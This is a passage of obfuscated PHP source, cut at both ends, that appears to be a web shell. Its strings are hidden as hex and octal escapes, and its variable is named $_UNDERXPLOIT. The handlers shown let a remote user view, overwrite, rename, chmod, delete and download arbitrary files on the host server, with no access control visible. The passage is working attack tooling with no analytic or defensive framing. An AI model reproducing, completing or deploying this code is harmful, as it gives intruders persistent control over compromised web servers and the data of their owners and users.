"\x27\51\42\76\74\142\165\x74\164\157\156\x20\143\154\x61\x73\163\x3d\47\143\157\114\x2d\142\x74\156\x2d\157\x70\164\x69\x6f\156\47\x3e\x3c\151\x20\143\154\x61\163\163\75\47\172\x6d\x64\x69\40\x7a\x6d\144\151\x2d\146\151\154\145\55\x74\145\x78\164\40\x7a\x6d\144\151\x2d\x68\x63\55\146\167\x27\76\74\x2f\151\x3e\74\x2f\142\x75\x74\164\157\x6e\76\x3c\x2f\141\x3e\74\x2f\x74\150\76\xa\x3c\164\x68\76\74\141\x20\157\x6e\x63\x6c\151\x63\153\75\x22\x63\50\47\x3f" . x7 . "\143\x68\155\157\144\46" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\x69\154\x65"] . "\x27\51\x22\x3e\x3c\142\165\x74\x74\157\156\40\143\x6c\x61\x73\x73\75\x27\x63\x6f\x4c\x2d\x62\164\156\55\x6f\x70\x74\151\157\x6e\47\x3e\74\151\40\143\x6c\141\x73\x73\x3d\x27\172\155\144\151\x20\172\155\144\151\x2d\x77\162\x65\x6e\x63\150\x20\172\155\x64\x69\x2d\150\143\55\x66\167\47\76\x3c\57\x69\76\x3c\57\142\165\164\x74\157\156\76\74\57\141\x3e\x3c\x2f\164\150\x3e\xa\x3c\x74\150\x3e\74\141\x20\157\x6e\x63\x6c\151\x63\x6b\x3d\42\143\50\x27\77" . x7 . "\144\145\154\x65\x74\x65\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\x66\x69\154\145"] . "\x27\x29\42\76\x3c\x62\165\164\x74\x6f\x6e\x20\143\154\141\163\163\x3d\47\143\x6f\x4c\x2d\142\x74\x6e\55\157\x70\x74\x69\157\156\47\76\x3c\151\40\x63\154\141\x73\x73\75\x27\x7a\x6d\x64\151\x20\172\x6d\144\151\55\x64\145\154\145\164\x65\x20\172\x6d\144\x69\x2d\x68\143\55\x66\167\x27\x3e\74\x2f\x69\76\x3c\x2f\142\x75\164\x74\x6f\x6e\76\x3c\x2f\x61\x3e\x3c\x2f\164\150\x3e\74\x2f\164\x61\x62\154\145\x3e\74\57\144\151\166\x3e"; $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT["\146\x69\x6c\x65"])); switch (true) { case empty($source): print x9; bacot("\x53\157\x75\162\143\145\x20\x6e\157\x74\40\146\157\165\x6e\144"); break; default: print "\x3c\144\151\x76\40\151\x64\x3d\x22\160\141\x6b\x73\141\x22\76\x3c\160\162\x65\40\143\154\141\x73\163\75\42\x74\157\160\x22\76\74\143\157\x64\x65\x20\143\154\141\163\x73\75\x22\160\150\160\x22\x3e" . $source . "\74\x2f\143\x6f\x64\145\x3e\74\x2f\x70\162\x65\x3e\x3c\x2f\x64\151\166\76\74\x2f\144\151\166\x3e"; } break; case "\145\x64\151\164": switch (true) { case $_UNDERXPLOIT["\x73\141\x76\145"]: $save = file_put_contents($_UNDERXPLOIT["\146\x69\x6c\145"], $_UNDERXPLOIT["\x73\162\x63"]); switch (true) { case $save: bacot("\x53\157\x75\x72\x63\x65\40\x73\x61\166\145\144"); break; detault: bacot("\120\x65\x72\x6d\x69\x73\x73\x69\x6f\156\x20\144\145\x6e\x69\x65\144"); } } print "\x3c\144\x69\166\x20\x63\154\x61\163\163\75\x22\x63\157\114\x2d\160\141\x6e\145\x6c\x22\x3e\74\x74\141\142\154\x65\76\74\x74\144\x20\x63\x6c\141\163\163\75\42\x74\144\x2d\x70\141\156\145\154\x22\76\74\x63\145\156\x74\x65\162\x3e\74\144\x69\166\40\143\x6c\141\163\163\x3d\x22\x6c\157\141\144\x65\162\42\x3e\74\57\x64\x69\x76\76\x3c\57\x63\145\156\x74\145\x72\76\74\x2f\164\x64\x3e\x3c\164\144\40\143\154\x61\163\163\75\x22\164\x64\55\x70\141\x6e\145\154\55\162\151\147\x68\164\x22\76\105\x44\x49\124\40\123\x4f\125\122\x43\105\x3c\57\x74\x64\76\74\x2f\x74\x61\x62\x6c\x65\x3e\x3c\57\x64\x69\x76\76\x3c\144\x69\166\40\x63\154\x61\163\x73\75\42\143\x6f\x4c\x2d\157\160\x74\x69\x6f\x6e\x22\x3e\x3c\164\x61\142\x6c\x65\76\x3c\x74\144\x20\x61\x6c\151\x67\x6e\x3d\x22\143\x65\x6e\x74\145\162\42\40\x73\x74\171\x6c\x65\75\42\167\x69\144\x74\150\x3a\63\60\x70\170\42\76\74\151\40\143\154\141\x73\163\x3d\42\172\155\144\x69\x20\172\155\144\x69\x2d\143\x68\x65\166\x72\x6f\156\x2d\162\151\x67\150\164\40\x7a\155\144\151\x2d\x68\143\55\x66\167\x22\x3e\74\57\x69\76\40\x3c\x2f\164\x64\76\x3c\164\144\x20\143\x6c\x61\163\163\x3d\42\x65\154\151\160\42\x3e\x3c\x73\160\141\x6e\40\143\x6c\x61\x73\x73\75\x22\x6c\141\x62\x65\x6c\x2d\x73\x75\143\x63\x65\x73\x73\42\x3e\x5b\74\57\163\160\141\156\76\x20" . basename($_UNDERXPLOIT["\x66\151\x6c\145"]) . "\40\74\163\160\x61\x6e\40\x63\154\x61\163\163\75\42\x6c\x61\142\145\x6c\x2d\x73\x75\x63\143\x65\163\163\x22\x3e\135\x3c\57\163\160\x61\156\76\40\x3c\x2f\x74\144\x3e\x3c\164\x64\x20\163\164\171\154\x65\75\42\167\x69\144\164\150\72\x39\60\x70\x78\42\40\x63\x6c\x61\x73\x73\x3d\x22\143\157\x4c\55\x6f\160\164\x69\157\156\55\160\141\x6e\x65\x6c\42\x20\141\x6c\151\147\x6e\75\42\143\x65\156\x74\145\x72\x22\40\x6f\x6e\143\x6c\151\x63\x6b\x3d\47\143\x28\x22\x3f" . x7 . "\144\157\x77\156\154\x6f\x61\144\46" . x5 . $dir . "\x26" . x6 . $dir . "\x2f" . basename($_UNDERXPLOIT["\146\x69\x6c\x65"]) . "\x22\51\x27\x3e" . $size . "\x3c\x2f\164\x64\76\x3c\57\x74\x61\142\154\x65\76\x3c\x68\x72\x3e"; print "\x3c\x74\x61\142\154\145\x3e\12\74\164\x68\76\74\141\40\x6f\156\x63\154\151\143\x6b\75\x22\143\x28\47\77" . x7 . "\x76\151\145\x77\46" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\146\151\x6c\145"] . "\x27\x29\42\76\74\142\x75\x74\164\x6f\156\x20\143\x6c\141\163\163\75\x27\143\157\x4c\55\142\x74\x6e\55\x6f\x70\164\x69\157\x6e\47\76\x3c\x69\40\x63\x6c\141\x73\163\x3d\x27\x7a\155\144\x69\40\172\155\x64\x69\55\145\x79\x65\x20\172\155\144\x69\55\x68\143\55\146\x77\47\x3e\74\x2f\x69\76\x3c\57\142\165\164\x74\157\x6e\x3e\74\x2f\x61\76\x3c\57\x74\x68\x3e\12\x3c\164\150\76\74\142\x75\x74\164\x6f\x6e\x20\143\154\141\163\x73\75\x27\x63\157\114\55\142\164\156\x2d\x6f\x70\x74\x69\x6f\156\x2d\x61\143\x74\151\166\x65\x27\76\x3c\151\x20\143\x6c\x61\x73\x73\75\x27\172\155\144\151\40\172\155\x64\151\x2d\x65\144\x69\x74\40\x7a\155\144\x69\x2d\150\x63\x2d\x66\167\x27\76\x3c\57\x69\76\74\57\x62\165\164\164\157\156\x3e\x3c\x2f\164\x68\76\12\74\x74\x68\x3e\x3c\x61\x20\x6f\x6e\143\x6c\151\x63\x6b\x3d\x22\x63\x28\47\x3f" . x7 . "\x72\145\x6e\141\x6d\x65\46" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\x69\x6c\x65"] . "\47\51\42\x3e\74\x62\x75\164\x74\157\156\40\143\154\141\163\x73\75\x27\143\157\114\x2d\142\164\156\x2d\157\x70\164\x69\157\x6e\x27\x3e\74\151\40\143\x6c\x61\x73\163\x3d\47\x7a\x6d\x64\x69\x20\x7a\x6d\144\x69\x2d\x66\x69\x6c\145\55\x74\x65\170\x74\40\x7a\155\144\x69\55\x68\x63\x2d\146\167\47\76\x3c\57\x69\76\74\x2f\142\165\x74\x74\x6f\x6e\x3e\x3c\x2f\x61\76\x3c\x2f\x74\x68\76\12\74\x74\150\x3e\74\x61\40\157\156\x63\x6c\x69\x63\153\75\42\143\50\47\x3f" . x7 . "\143\150\155\x6f\144\x26" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\146\x69\x6c\x65"] . "\x27\x29\x22\x3e\74\x62\x75\x74\164\x6f\x6e\x20\x63\x6c\x61\163\163\x3d\47\143\157\x4c\x2d\x62\164\x6e\55\x6f\x70\x74\151\x6f\x6e\47\x3e\74\151\40\143\154\141\x73\x73\x3d\47\172\155\144\x69\x20\172\x6d\x64\x69\55\167\162\145\x6e\143\150\40\x7a\x6d\144\x69\55\150\x63\x2d\146\167\47\x3e\x3c\57\151\76\74\57\x62\165\164\164\157\156\76\x3c\x2f\x61\76\74\57\x74\x68\x3e\xa\x3c\x74\150\x3e\74\x61\x20\x6f\156\x63\x6c\151\143\x6b\x3d\x22\143\x28\47\77" . x7 . "\144\x65\x6c\x65\164\145\46" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\x69\x6c\145"] . "\47\x29\x22\x3e\74\142\x75\x74\164\x6f\x6e\x20\143\x6c\x61\x73\x73\75\47\143\157\114\x2d\142\164\156\55\157\x70\164\x69\x6f\156\47\x3e\74\x69\40\x63\x6c\x61\163\163\x3d\47\x7a\155\x64\x69\40\172\x6d\144\151\x2d\144\x65\x6c\145\x74\x65\40\172\155\x64\151\x2d\150\143\x2d\x66\167\47\76\x3c\57\151\x3e\x3c\x2f\x62\x75\x74\164\x6f\x6e\76\74\x2f\141\76\x3c\57\x74\150\x3e\x3c\57\x74\141\142\x6c\x65\76\74\x2f\x64\x69\166\76"; $source = htmlspecialchars(@file_get_contents($_UNDERXPLOIT["\x66\x69\x6c\145"])); switch (true) { case empty($source): print "\x3c\146\x6f\x72\155\40\155\145\164\x68\x6f\144\75\47\160\157\163\164\47\x20\141\x63\x74\x69\157\x6e\75\x27\77" . x7 . "\145\x64\151\164\46" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\146\151\x6c\x65"] . "\x27\40\x20\163\164\x79\154\145\x3d\x27\155\x61\162\x67\x69\x6e\x3a\60\x70\x78\47\x3e"; print "\74\163\x63\162\151\x70\x74\x20\x74\171\x70\145\x3d\42\164\x65\170\x74\x2f\x6a\141\x76\x61\163\x63\x72\151\x70\x74\x22\x3e\xa\44\50\x66\x75\156\143\164\x69\157\156\x28\x29\40\173\xa\11\44\50\x22\56\x6c\x69\156\x65\144\x22\51\56\x6c\151\x6e\x65\x64\x74\145\170\x74\141\x72\145\x61\x28\x7b\163\x65\154\x65\x63\x74\x65\x64\114\151\x6e\145\72\40\61\x7d\x29\x3b\12\x7d\51\73\x20\x3c\x2f\x73\143\x72\151\x70\164\76"; print "\74\144\x69\166\40\x69\144\75\47\x70\x61\153\163\141\x27\76\x3c\x74\145\170\164\x61\162\x65\x61\40\x6e\141\x6d\145\75\x27\163\162\x63\47\x20\143\154\141\163\163\75\x27\154\151\156\145\x64\47\x20\160\154\x61\143\145\x68\157\154\x64\145\x72\75\47\x2f\57\x20\164\150\x69\x73\40\145\144\151\x74\x6f\162\x20\157\156\x6c\171\x20\x77\x6f\162\x6b\163\x20\x66\x6f\162\40\163\157\x75\x72\x63\145\40\143\x6f\144\145\x2e\47\76\x3c\57\164\145\170\164\x61\x72\145\141\x3e\x3c\151\156\160\165\164\x20\x74\x79\160\145\75\47\x73\165\142\155\x69\x74\47\x20\143\154\x61\x73\163\75\47\x62\164\156\x2d\145\170\145\x27\40\x76\141\x6c\165\x65\75\47\x53\101\x56\x45\x27\x20\x6e\141\155\145\75\x27\163\141\166\x65\47\x20\x73\x74\x79\154\145\x3d\47\155\141\x72\x67\x69\156\x2d\x74\157\160\72\63\x70\x78\73\167\151\x64\x74\150\x3a\40\61\x30\60\45\x27\x3e\x3c\x2f\x66\x6f\x72\155\x3e\74\x2f\144\151\x76\76\x3c\x2f\x64\151\166\x3e"; break; default: print "\x3c\146\157\x72\x6d\40\155\x65\164\x68\x6f\144\x3d\47\160\x6f\163\164\47\x20\x61\x63\164\x69\157\156\x3d\x27\x3f" . x7 . "\145\144\151\164\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\x66\x69\x6c\145"] . "\47\40\163\x74\x79\x6c\x65\x3d\x27\x6d\141\x72\147\x69\156\x3a\x30\x70\x78\x27\76"; print "\74\163\x63\x72\x69\160\164\x20\x74\x79\x70\x65\75\x22\164\145\170\164\x2f\x6a\141\x76\141\x73\x63\x72\151\x70\164\x22\76\xa\44\50\146\165\156\143\x74\151\x6f\156\x28\51\x20\x7b\xa\x9\44\x28\42\56\154\x69\156\x65\x64\x22\51\56\154\151\x6e\x65\144\x74\145\x78\x74\x61\x72\145\x61\x28\173\x73\x65\154\145\143\x74\145\x64\114\x69\x6e\x65\72\x20\61\175\51\73\xa\x7d\51\73\x20\x3c\57\x73\143\162\x69\x70\x74\x3e"; print "\x3c\x64\151\x76\40\151\144\x3d\x27\x70\x61\153\163\141\47\76\74\x74\x65\170\x74\x61\x72\145\141\40\156\x61\155\x65\x3d\47\x73\x72\143\47\x20\143\154\x61\163\x73\x3d\47\x6c\x69\156\145\x64\x27\40\160\154\x61\143\145\150\157\x6c\144\145\x72\75\47\57\57\x20\164\x68\x69\163\x20\145\x64\x69\164\157\162\40\x6f\x6e\x6c\171\40\x77\x6f\x72\153\x73\40\146\x6f\x72\x20\x73\x6f\165\x72\x63\145\x20\x63\x6f\x64\x65\56\x27\x3e" . $source . "\x3c\x2f\x74\145\170\x74\x61\162\x65\x61\x3e\x3c\151\x6e\x70\x75\x74\x20\164\171\x70\x65\x3d\47\x73\x75\x62\x6d\x69\164\47\x20\166\x61\154\x75\145\75\47\x53\101\126\x45\x27\40\x6e\141\155\145\75\x27\163\x61\166\145\x27\40\143\x6c\x61\x73\x73\75\x27\x62\x74\x6e\x2d\145\170\x65\x27\40\163\164\171\154\145\x3d\x27\x6d\141\x72\x67\151\156\55\x74\x6f\x70\72\63\x70\170\x3b\167\x69\x64\x74\150\x3a\40\61\x30\60\x25\47\76\x3c\57\146\157\162\x6d\x3e\74\x2f\x64\x69\x76\76\74\57\x64\x69\x76\76"; } break; case "\162\145\156\141\155\x65": switch (true) { case $_UNDERXPLOIT["\x72\x65\x6e\141\155\x65"]: $rename = rename($_UNDERXPLOIT["\x66\x69\x6c\145"], "{$dir}\57" . htmlspecialchars($_UNDERXPLOIT["\x72\145\156\141\155\x65"]) . ''); switch (true) { case $rename: mtr("\77" . x7 . "\162\145\x6e\141\155\145\x26" . x5 . $dir . "\46" . x6 . $dir . "\57" . $_UNDERXPLOIT["\x72\145\x6e\141\x6d\x65"]); bacot("\x46\x69\154\x65\x20\162\x65\156\141\x6d\145\x64"); break; default: bacot("\x50\145\162\x6d\x69\163\x73\151\157\156\40\x64\x65\x6e\x69\145\144"); } } print "\74\x64\151\166\x20\143\x6c\141\163\163\75\x22\143\x6f\114\55\160\x61\x6e\145\x6c\x22\x3e\x3c\x74\x61\142\154\x65\76\74\164\x64\40\143\154\x61\x73\x73\x3d\x22\x74\144\x2d\x70\x61\x6e\x65\154\42\76\x3c\x63\x65\x6e\x74\145\162\76\74\x64\151\166\40\x63\x6c\x61\x73\x73\x3d\x22\x6c\x6f\141\x64\145\x72\42\x3e\x3c\x2f\x64\x69\166\x3e\74\57\143\145\x6e\x74\145\x72\76\x3c\57\x74\x64\76\74\x74\144\40\143\x6c\141\x73\163\75\42\x74\x64\55\x70\x61\156\x65\154\55\x72\x69\x67\150\164\42\x3e\x52\105\x4e\101\115\105\x20\106\x49\114\x45\x3c\57\x74\144\x3e\74\57\164\x61\x62\154\x65\76\74\x2f\144\x69\x76\76\74\x64\x69\166\x20\143\x6c\141\x73\163\75\x22\143\157\114\x2d\157\x70\164\x69\x6f\156\42\76\74\x74\141\142\154\145\76\74\164\144\x20\141\154\151\147\156\75\x22\143\145\156\164\145\x72\42\x20\x73\164\x79\154\145\75\42\x77\x69\144\164\150\72\x33\x30\x70\170\x22\x3e\x3c\x69\40\x63\x6c\141\x73\163\75\42\x7a\155\x64\151\x20\172\x6d\144\x69\x2d\x63\x68\145\x76\162\157\156\55\162\151\147\150\x74\x20\x7a\155\x64\x69\x2d\x68\143\55\x66\167\42\76\x3c\x2f\x69\x3e\40\x3c\57\x74\x64\76\x3c\164\144\40\143\x6c\x61\163\x73\75\42\145\x6c\151\x70\42\x3e\x3c\x73\160\x61\x6e\x20\x63\154\x61\163\163\x3d\42\x6c\x61\142\145\x6c\x2d\x73\x75\x63\143\x65\x73\163\42\x3e\133\74\57\x73\160\141\x6e\76\x20\x20" . basename($_UNDERXPLOIT["\x66\x69\154\x65"]) . "\40\74\x73\x70\141\x6e\40\143\x6c\141\x73\x73\x3d\x22\x6c\x61\x62\145\x6c\x2d\163\x75\x63\x63\x65\x73\163\x22\x3e\x5d\74\x2f\163\x70\141\156\x3e\x3c\57\164\x64\76\74\164\144\40\163\x74\171\154\x65\x3d\42\x77\x69\x64\x74\150\x3a\x39\x30\x70\170\x22\x20\143\154\141\163\163\75\x22\x63\x6f\x4c\x2d\157\x70\164\151\157\x6e\x2d\160\x61\x6e\145\x6c\42\40\x61\154\151\147\x6e\x3d\x22\x63\x65\156\x74\145\162\x22\x20\157\x6e\x63\154\151\143\x6b\75\47\x63\50\x22\77" . x7 . "\x64\157\167\x6e\154\157\x61\144\46" . x5 . $dir . "\x26" . x6 . $dir . "\57" . basename($_UNDERXPLOIT["\146\x69\154\145"]) . "\x22\51\x27\x3e" . $size . "\x3c\x2f\x74\x64\x3e\74\57\x74\x61\x62\154\145\76\74\x68\x72\x3e"; print "\x3c\x74\141\x62\x6c\x65\76\12\74\164\x68\76\74\141\x20\x6f\x6e\143\x6c\x69\143\153\x3d\x22\x63\50\x27\x3f" . x7 . "\x76\151\145\167\46" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\x66\x69\154\x65"] . "\x27\51\42\76\x3c\x62\x75\164\164\157\x6e\40\x63\154\141\163\x73\75\x27\x63\157\114\55\142\x74\156\55\x6f\x70\x74\x69\x6f\156\47\x3e\x3c\151\x20\x63\x6c\141\x73\x73\x3d\x27\172\155\x64\151\40\172\x6d\x64\151\x2d\145\171\145\40\172\x6d\144\x69\55\150\143\x2d\x66\x77\x27\x3e\74\57\151\x3e\74\57\x62\165\x74\164\x6f\156\x3e\74\57\141\76\x3c\57\x74\150\76\12\74\164\x68\x3e\74\141\40\x6f\x6e\143\154\151\x63\x6b\x3d\42\143\50\47\77" . x7 . "\x65\x64\x69\164\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\x66\x69\154\145"] . "\x27\x29\x22\x3e\x3c\x62\x75\x74\x74\x6f\156\x20\143\154\x61\x73\x73\x3d\x27\143\x6f\x4c\55\x62\x74\156\55\x6f\160\164\x69\x6f\x6e\x27\76\74\x69\x20\143\x6c\141\x73\163\x3d\47\172\x6d\144\151\40\x7a\x6d\144\151\x2d\x65\144\151\x74\40\x7a\155\x64\x69\55\150\x63\55\x66\x77\47\x3e\x3c\x2f\151\x3e\74\57\142\165\x74\164\x6f\156\76\x3c\57\x61\x3e\x3c\x2f\x74\x68\x3e\12\x3c\164\x68\76\x3c\142\165\164\x74\157\156\40\x63\x6c\141\x73\163\75\x27\x63\157\114\55\142\164\x6e\55\157\160\x74\x69\157\156\x2d\141\143\164\x69\166\x65\x27\76\x3c\x69\x20\143\154\x61\x73\163\75\47\x7a\155\144\151\x20\172\155\144\x69\55\x66\151\154\x65\55\x74\145\x78\164\x20\172\155\144\x69\55\150\143\x2d\146\167\47\x3e\x3c\57\151\x3e\x3c\x2f\x62\x75\x74\x74\x6f\x6e\x3e\x3c\x2f\x74\x68\76\12\x3c\164\x68\x3e\x3c\x61\x20\157\156\143\x6c\x69\143\153\x3d\42\143\50\x27\x3f" . x7 . "\x63\x68\x6d\157\x64\46" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\x69\154\x65"] . "\x27\51\x22\x3e\74\142\x75\x74\164\157\156\x20\x63\154\x61\x73\x73\x3d\x27\143\157\114\x2d\x62\x74\156\55\157\x70\164\x69\157\156\x27\x3e\x3c\x69\40\143\154\141\163\163\x3d\47\x7a\155\144\x69\40\172\x6d\144\x69\55\167\162\145\x6e\143\x68\x20\172\x6d\x64\x69\55\x68\x63\x2d\146\x77\x27\76\74\57\x69\x3e\x3c\57\x62\165\164\x74\157\x6e\x3e\x3c\x2f\x61\76\74\x2f\x74\x68\76\12\74\x74\x68\x3e\74\141\x20\x6f\156\143\x6c\x69\143\x6b\75\x22\x63\x28\47\77" . x7 . "\x64\145\154\145\164\145\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\x69\154\x65"] . "\x27\x29\x22\76\x3c\142\x75\x74\164\157\156\x20\x63\x6c\141\x73\x73\x3d\x27\143\157\114\55\x62\164\x6e\55\x6f\160\x74\151\157\x6e\x27\x3e\74\x69\40\143\154\x61\x73\x73\x3d\x27\x7a\x6d\144\151\x20\x7a\155\x64\151\55\144\145\x6c\145\164\145\x20\172\155\x64\x69\x2d\150\143\55\x66\x77\x27\x3e\74\x2f\x69\76\x3c\x2f\x62\165\x74\164\157\x6e\x3e\x3c\x2f\x61\x3e\74\x2f\164\x68\x3e\74\x2f\164\141\x62\x6c\145\x3e\x3c\x2f\144\x69\166\x3e\xa\11\x3c\x64\151\166\40\x63\154\141\x73\163\75\x27\x63\157\114\x2d\x6f\x70\164\151\157\156\x20\x74\157\x70\47\76\x3c\142\x72\40\x2f\x3e\x3c\142\x72\40\57\x3e\12\11\x3c\143\145\x6e\164\x65\162\x3e\xa\11\11\x3c\x69\40\143\x6c\x61\x73\x73\x3d\x27\172\155\x64\x69\40\172\x6d\x64\151\55\146\151\154\x65\55\x74\x65\170\x74\x20\x7a\155\144\151\x2d\150\143\55\x66\x77\x20\172\155\144\151\55\150\143\55\64\x78\x27\x3e\74\57\x69\76\x3c\57\143\145\156\164\x65\162\76\x3c\142\162\40\57\76\74\x62\162\40\57\76\74\x66\x6f\162\x6d\x20\x61\143\x74\151\157\156\x3d\47\77" . x7 . "\162\x65\156\x61\x6d\x65\46" . x5 . $dir . "\46" . x6 . $_UNDERXPLOIT["\146\151\x6c\145"] . "\47\40\x73\164\x79\154\x65\x3d\x27\x6d\x61\x72\x67\x69\x6e\72\x30\x70\170\47\x20\155\145\x74\x68\157\x64\75\x27\x70\x6f\x73\164\x27\76\xa\74\164\x61\x62\154\145\x20\143\145\154\x6c\x73\x70\141\143\x69\156\147\75\47\x30\47\x3e\12\x9\x3c\164\x64\40\141\154\x69\x67\x6e\x3d\47\x63\x65\x6e\164\145\x72\47\x20\163\x74\x79\x6c\145\x3d\x27\167\x69\144\x74\x68\72\61\x30\45\x27\76\74\151\40\143\x6c\141\163\x73\75\47\172\155\144\x69\40\x7a\x6d\x64\x69\x2d\x63\150\145\x76\162\157\156\x2d\x72\x69\x67\x68\164\40\x7a\155\x64\151\55\x68\x63\x2d\x66\x77\x27\76\x3c\57\151\76\x20\x3c\57\164\144\76\74\164\144\40\x73\164\171\154\x65\75\47\x77\151\x64\x74\x68\72\67\60\x25\x27\76\x3c\x69\x6e\160\x75\x74\x20\x74\x79\x70\145\75\x27\164\145\x78\x74\47\x20\166\x61\x6c\x75\145\x3d\x27" . basename($_UNDERXPLOIT["\146\x69\x6c\x65"]) . "\x27\x20\x6e\x61\155\145\75\x27\x72\145\156\x61\x6d\145\47\40\151\x64\x3d\x27\166\162\x6e\47\x3e\x3c\57\x74\x64\x3e\x3c\x74\x64\40\x73\x74\171\x6c\x65\75\47\167\x69\144\x74\x68\72\x32\x30\45\47\x3e\xa\11\74\142\x75\x74\x74\157\x6e\x20\x74\x79\160\145\x3d\x27\x73\x75\x62\155\x69\164\x27\40\143\154\x61\163\163\x3d\47\x62\164\156\55\x65\x78\x65\47\x20\151\144\75\x27\x72\x6e\x27\x20\157\156\143\154\151\143\153\75\47\x72\156\155\x28\51\73\40\x72\145\164\x75\162\x6e\x20\146\x61\154\x73\x65\x27\x3e\x3c\x69\x20\x63\x6c\141\163\x73\75\x27\x7a\x6d\144\x69\x20\172\155\x64\151\x2d\154\157\156\x67\55\x61\162\162\157\167\x2d\x72\145\x74\x75\162\156\40\172\155\144\x69\x2d\150\143\x2d\146\167\47\76\74\57\x69\x3e\x3c\57\142\165\x74\164\157\x6e\76\74\57\x74\144\x3e\x3c\x2f\x74\141\x62\x6c\x65\x3e\xa\x9\74\57\146\157\x72\x6d\x3e\x3c\57\x64\151\x76\76\74\x2f\x64\151\x76\x3e"; print "\74\163\143\x72\x69\160\x74\40\164\x79\x70\145\x3d\x22\164\145\170\x74\x2f\152\141\166\x61\163\x63\162\151\x70\x74\42\x3e\x66\165\156\x63\x74\151\157\156\x20\x72\x6e\155\50\x29\x7b\12\x69\x66\x28\x64\x6f\143\165\155\x65\156\x74\56\147\x65\x74\105\x6c\145\x6d\145\156\164\x42\171\111\x64\x28\x22\166\x72\156\x22\x29\x2e\x76\141\154\165\x65\40\x3d\x3d\x20\x22\x22\x29\173"; s("\x46\157\162\155\40\x64\x6f\40\156\157\x74\40\154\145\x61\166\145\40\x65\x6d\x70\x74\x79"); print "\144\157\143\x75\155\x65\156\x74\x2e\x67\145\x74\105\x6c\x65\x6d\145\156\164\x42\171\x49\x64\50\42\x76\x72\x6e\x22\51\56\x66\157\x63\x75\163\x28\x29\x3b\12\x20\40\x20\x20\40\x20\x72\145\164\165\162\156\40\146\x61\154\163\145\x3b\12\x9\x7d\x20\144\157\x63\x75\x6d\x65\x6e\164\x2e\x67\x65\164\105\x6c\145\x6d\145\x6e\x74\102\x79\x49\144\x28\x22\x72\156\x22\x29\x2e\x73\165\x62\155\151\164\x28\x29\73\12\175\40\x3c\x2f\x73\143\162\151\x70\164\76"; break; case "\143\150\155\x6f\x64": switch (true) { case $_UNDERXPLOIT["\160\145\x72\155"]: switch (true) { case chmod($_UNDERXPLOIT["\146\x69\154\145"], octdec($_UNDERXPLOIT["\160\145\x72\x6d"])): mtr("\x3f" . x7 . "\143\x68\155\x6f\x64\x26" . x5 . $dir . "\x26" . x6 . $_UNDERXPLOIT["\146\151\x6c\145"]); bacot("\111\x74\145\155\163\40\x63\150\x61\156\x67\145\144\x20\x6d\x6f\144\145\40\164\x6f\x20" . decoct(octdec($_UNDERXPLOIT["\x70\145\x72\x6d"]))); break; default: bacot("\x50\x65\x72\155\x69\163\x73\151\x6f\156\x20\144\x65\156\x69\x65\x64"); } } print "\x3c\x64\x69\166\x20\x63\154\x61\x73\x73\75\x22\x63\x6f\x4c\55\160\141\x6e\145\x6c\x22\76\x3c\164\141\x62\154\145\76\x3c\164\144\x20\x63\154\141\163\x73\75\42\164\144\55\x70\141\x6e\x65\x6c\42\x3e\74\x63\x65\156\164\145\x72\76\x3c\x64\151\166\x20\143\x6c\x61\163\x73\75\x22\154\157\x61\144\145\162\x22\76\x3c\x2f\144\151\166\76\x3c\x2f\x63\145\156\x74\x65\162\x3e\74\x2f\x74\144\x3e\74\164\144\40\143\154\x61\x73\163\75\x22\164\x64\x2d\x70\141\156\x65\x6c\x2d\162\151\147\x68\164\x22\x3e\103\110\x4d\117\x44\x20\x46\x49\114\x45\74\x2f\164\x64\76\x3c\57\x74\141\x62\x6c\x65\76\x3c\57\x64\151\166\76\x3c\144\x69\x76\x20\143\x6c\141\x73\x73\x3d\42\143\x6f\114\x2d\157\x70\164\x69\157\156\x22\76\x3c\164\141\142\154\x65\76\74\164\144\x20\141\x6c\x69\x67\156\x3d\42\143\145\156\x74\x65\162\x22\40\163\x74\x79\x6c\x65\x3d\x22\x77\x69\144\x74\x68\x3a\x33\x30\x70\x78\x22\x3e\x3c\151\40\143\x6c\x61\x73\x73\75\x22\x7a\x6d\144\x69\x20\x7a\x6d\x64\x69\55\143\150\x65\x76\x72\157\x6e\x2d\162\151\147\x68\164\x20\172\155\x64\x69\x2d\x68\x63\55\x66\167\x22\x3e\74\57\151\76\40\x3c\x2f\164\x64\x3e\74\x74\x64\x20\143\154\x61\x73\x73\75\42\145\154\151\160\42\76\x3c\x73\x70\141\x6e\40\143\154\x61\163\163\x3d\42\154\141\142\145\x6c\x2d\163\165\x63\x63\145\x73\x73\42\76\x5b\x3c\x2f\163\160\x61\x6e\x3e\40\40" . basename($_UNDERXPLOIT["\x66\x69\x6c\145"]) . "\x20\74\163\x70\x61\x6e\x20\x63\154\x61\163\x73\75\42\x6c\141\x62\x65\154\55\x73\x75\143\x63\x65\x73\x73\42\76\135\74\x2f\x73\x70\x61\156\x3e\x20\74\x2f\x74\144\x3e\74\164\144\40\163\x74\171\x6c\x65\x3d\x22\167\151\144\x74\x68\x3a\x39\60\160\170\x22\40\x63\154\x61\163\163\x3d\x22\x63\x6f\x4c\55\x6f\160\164\x69\x6f\156\x2d\160\x61\x6e\145\x6c\x22\x20\141\x6c\x69\147\156\x3d\42\143\x65\156\164\x65\162\x22\x20\157\x6e\143\154\151\143\x6b\x3d\x27\x63\50\x22\77" . x7 . "\x64\x6f\x77\x6e\154\x6f\x61\144\x26" . x5 . $dir . "\x26" . x6 . $dir . "\57" . basename($_UNDERXPLOIT["\146\x69\x6c\145"]) . "\x22\51\x27\x3e" . $size . "\74\x2f\164\144\x3e\x3c\x2f\x74\x61\x62\x6c\x65\x3e\x3c\x68\x72\76"; print "\x3c\x74\141\142\154\x65\76\12\x3c\x74\x68\76\x3c\141\x20\x6f\x6e\x63\x6c\x69\143\153\75\42\143\50\x27\77" . x7 . "\166\151\145\x77\x26" . x5 . $dir . "\46" . x6 . 